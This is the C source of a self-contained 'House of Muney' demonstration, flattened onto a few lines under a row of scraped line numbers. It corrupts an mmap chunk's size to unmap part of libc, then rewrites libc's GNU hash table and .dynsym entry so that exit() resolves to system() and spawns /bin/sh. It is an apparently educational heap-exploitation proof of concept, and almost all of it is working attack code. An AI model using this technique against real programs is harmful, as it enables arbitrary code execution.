1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328
|
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <sys/mman.h>
#define PUTS_OFFSET 0x84420 #define SYSTEM_OFFSET 0x52290 #define BITMASK_OFFSET 0x3c8 #define BUCKETS_OFFSET 0xbc8 #define CHAIN_ZERO_OFFSET 0x1b64 #define DYNSYM_OFFSET 0x4070 #define EXIT_STR_OFFSET 0x2efb #define EXIT_SYM_INDEX 0X87
#define BITMASK_WORD 0xf000028c2200930e #define BUCKET 0x86 #define NBUCKETS 0x3f3
#define ST_VALUE_OFFSET 0x8 #define ST_SIZE 0x18
#define ELF64_ST_INFO(bind, type) (((bind) << 4) | ((type) & 0x0F)) #define STB_GLOBAL 1 #define STT_FUNC 2 #define STV_DEFAULT 0 #define SHN_EXIT 0x000f #define SIZE_EXIT 0x20
#define NEW_HASH 0x7c967e3f
uintptr_t leak_libc_base() { uintptr_t puts_addr = (uintptr_t)puts; printf("[*] puts@libc = %p\n", (void *)puts_addr);
uintptr_t libc_base = puts_addr - PUTS_OFFSET; printf("[*] Computed libc base = %p\n", (void *)libc_base);
return libc_base; }
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); char *cmd = mmap((void *)0xdeadb000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); strcpy(cmd, "/bin/sh");
printf("[*] Demonstrating munmap overlap exploitation via mmap chunks\n\n"); printf("[*] Step 1: Allocate a super-large chunk using malloc() → triggering mmap()\n"); size_t *victim_ptr = malloc(0x30000); printf("[+] Victim chunk allocated at: %p (below libc), size: 0x%lx\n", victim_ptr-2, victim_ptr[-1]); printf("\n"); puts("[*] Simulated high-to-low memory layout:\n" " ld.so\n" " ...\n" " libc\n" " victim chunk\n" " ...\n" " heap\n");
printf("[*] Step 2: Corrupt size field of the victim chunk to cover libc parts\n"); size_t libc_overwrite_size = 0x10000; size_t victim_size = (victim_ptr)[-1]; size_t fake_size = (victim_size + libc_overwrite_size) & ~0xfff; fake_size |= 0b10; victim_ptr[-1] = fake_size; printf("[+] Updated victim_size chunk size to: 0x%lx\n", victim_ptr[-1]); printf("\n");
printf("[*] Step 3: Free corrupted victim chunk → triggers munmap on both chunks and libc area\n"); void *munmap_start = (void *)(victim_ptr - 2); void *munmap_end = (void *)((char *)munmap_start + (fake_size & ~0x7)); printf("[*] munmap will unmap: %p → %p (size: 0x%lx)\n", munmap_start, munmap_end, fake_size); free(victim_ptr); printf("[+] Victim chunk has now been freed\n"); printf("[!] .gnu.hash and .dynsym are now unmapped. New symbol resolutions will fail!\n");
printf("\n");
printf("[*] Step 4: Reallocate a larger overlapping mmap chunk to reclaim unmapped area\n"); size_t *overlap_ptr = malloc(0x100000); size_t overlap_start = overlap_ptr - 2; size_t overlap_size = overlap_ptr[-1] & ~0xfff; size_t overlap_end = overlap_start + overlap_size; printf("[+] Overlapping chunk start : %p\n", overlap_start); printf("[+] Overlapping chunk end : %p\n", overlap_end); printf("[+] Overlapping chunk size : 0x%lx\n", overlap_size);
printf("\n"); printf("[*] Step 5: Leak libc base address, before overwriting our targets on libc mappings\n"); uintptr_t libc_base = leak_libc_base(); printf("[+] libc base: %p\n", libc_base); printf("\n"); uintptr_t dynsym_addr = libc_base + DYNSYM_OFFSET; printf("[*] .dynsym section starts at %p\n", dynsym_addr); printf("[*] Checking overlap covers .dynsym: [%p → %p)\n", (void *)overlap_start, (void *)overlap_end);
if (!(overlap_start <= dynsym_addr && dynsym_addr < overlap_end)) { const char *msg = "[!] Overlap does not cover .dynsym - aborting\n"; write(2, msg, strlen(msg)); _exit(1); } printf("[✓] We can now rewrite internal glibc sections: .gnu.hash, .dynsym, etc.\n");
printf("\n"); printf("[*] Step 6: Calculate offsets of in-libc target addresses to overwrite\n"); printf(" Here we simulate to write starting from the allocated victim chunk\n"); printf(" So we will calculate the offsets of the targets to the overlapped chunk\n"); printf(" Start writing from the entry at: %p\n", overlap_ptr);
uint64_t write_to_libc_offset = (uint64_t)libc_base - (uint64_t)overlap_ptr; uint64_t bitmask_word_offset = BITMASK_OFFSET + ((NEW_HASH / 0x40) & 0xff) * 8; uint32_t bucket_index = NEW_HASH % NBUCKETS; uint64_t bucket_offset = BUCKETS_OFFSET + bucket_index * 4; uint64_t hasharr_offset = CHAIN_ZERO_OFFSET + BUCKET * 4; uint64_t bitmask_word_addr = (uint64_t)overlap_ptr + write_to_libc_offset + bitmask_word_offset; uint64_t bucket_addr = (uint64_t)overlap_ptr + write_to_libc_offset + bucket_offset; uint64_t hasharr_addr = (uint64_t)overlap_ptr + write_to_libc_offset + hasharr_offset; uint64_t exit_symtab_addr = (uint64_t)overlap_ptr + write_to_libc_offset + DYNSYM_OFFSET + EXIT_SYM_INDEX * ST_SIZE;
printf("[+] bitmask_word addr: %p\n", (void *)bitmask_word_addr); printf("[+] bucket addr: %p\n", (void *)bucket_addr); printf("[+] hasharr addr: %p\n", (void *)hasharr_addr); printf("[+] exit@dynsym addr: %p\n", (void *)exit_symtab_addr);
printf("\n");
printf("[*] Step 7: Overwrite glibc's GNU Hash Table related stuff\n");
*(uint64_t *)bitmask_word_addr = BITMASK_WORD; printf("[+] bitmask_word (%lx) in bitmask[indice] for 'exit' populated @ %p!\n", BITMASK_WORD, bitmask_word_addr); *(uint32_t *)bucket_addr = BUCKET; printf("[+] bucket value (%d) in buckets[index] for 'exit' populated @ %p!\n", BUCKET, bucket_addr);
uint32_t hash = NEW_HASH ^ 1; *((uint32_t *)hasharr_addr + 1) = hash; printf("[+] hasharr value (%d) populated @ %p!\n", hash, hasharr_addr); printf("\n");
printf("[*] Step 8: Patch [.dynsym] to redirect 'exit' to 'system'\n\n");
typedef struct { uint32_t st_name; uint8_t st_info; uint8_t st_other; uint16_t st_shndx; uint64_t st_value; uint64_t st_size; } Elf64_Sym;
Elf64_Sym *exit_symbol_table = (Elf64_Sym*)exit_symtab_addr;
printf("[*] Patching st_name with the offset pointing back to exit@dynstr...\n"); exit_symbol_table->st_name = EXIT_STR_OFFSET; printf("[+] exit@dynstr → 'exit'\n");
printf("[*] Patching st_info for typing & binding...\n"); uint8_t st_info_val = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC); exit_symbol_table->st_info = st_info_val; printf("[+] st_info is now patched as 0x%02x\n", st_info_val);
printf("[*] Patching st_other for symbol visibility...\n"); exit_symbol_table->st_other = STV_DEFAULT; printf("[+] st_other is now patched as 0x%02x\n", STV_DEFAULT);
printf("[*] Patching st_shndx for telling symbol section index...\n"); exit_symbol_table->st_shndx = SHN_EXIT; printf("[+] st_shndx is now patched as 0x%04x\n", SHN_EXIT);
printf("[*] Patching st_shndx for telling symbol section index...\n"); printf("[*] Though this is not neccessary to populte in House of Muney\n"); exit_symbol_table->st_size = SIZE_EXIT; printf("[+] st_shndx is now patched as 0x%016lx\n", SIZE_EXIT);
printf("\n");
printf("[*] [HIIJACK] Overwrite st_value in the 'exit' symbol table with offset of system func call\n"); exit_symbol_table->st_value = SYSTEM_OFFSET; printf("[+] exit@dynsym → system()\n"); printf("\n");
printf( "[!] Now the exit .dynsym table structures as:\n\n" " typedef struct {\n" " uint32_t st_name; // Offset into .dynstr - 0: 0x%x\n" " uint8_t st_info; // Type and binding - 4: 0x%02x\n" " uint8_t st_other; // Visibility - 5: 0x%02x\n" " uint16_t st_shndx; // Section index - 6: 0x%04x\n" " uint64_t st_value; // Resolved address - 8: 0x%016lx\n" " uint64_t st_size; // Size of the object - 16: 0x%lx\n" " } Elf64_Sym;\n\n", EXIT_STR_OFFSET, st_info_val, STV_DEFAULT, SHN_EXIT, SYSTEM_OFFSET, SIZE_EXIT ); printf("\n"); printf("[*] Step 9: Trigger symbol resolution for hijacked function\n"); printf("[✓] Calling exit(\"/bin/sh\") → now system(\"/bin/sh\")\n"); exit((uintptr_t)cmd); }
|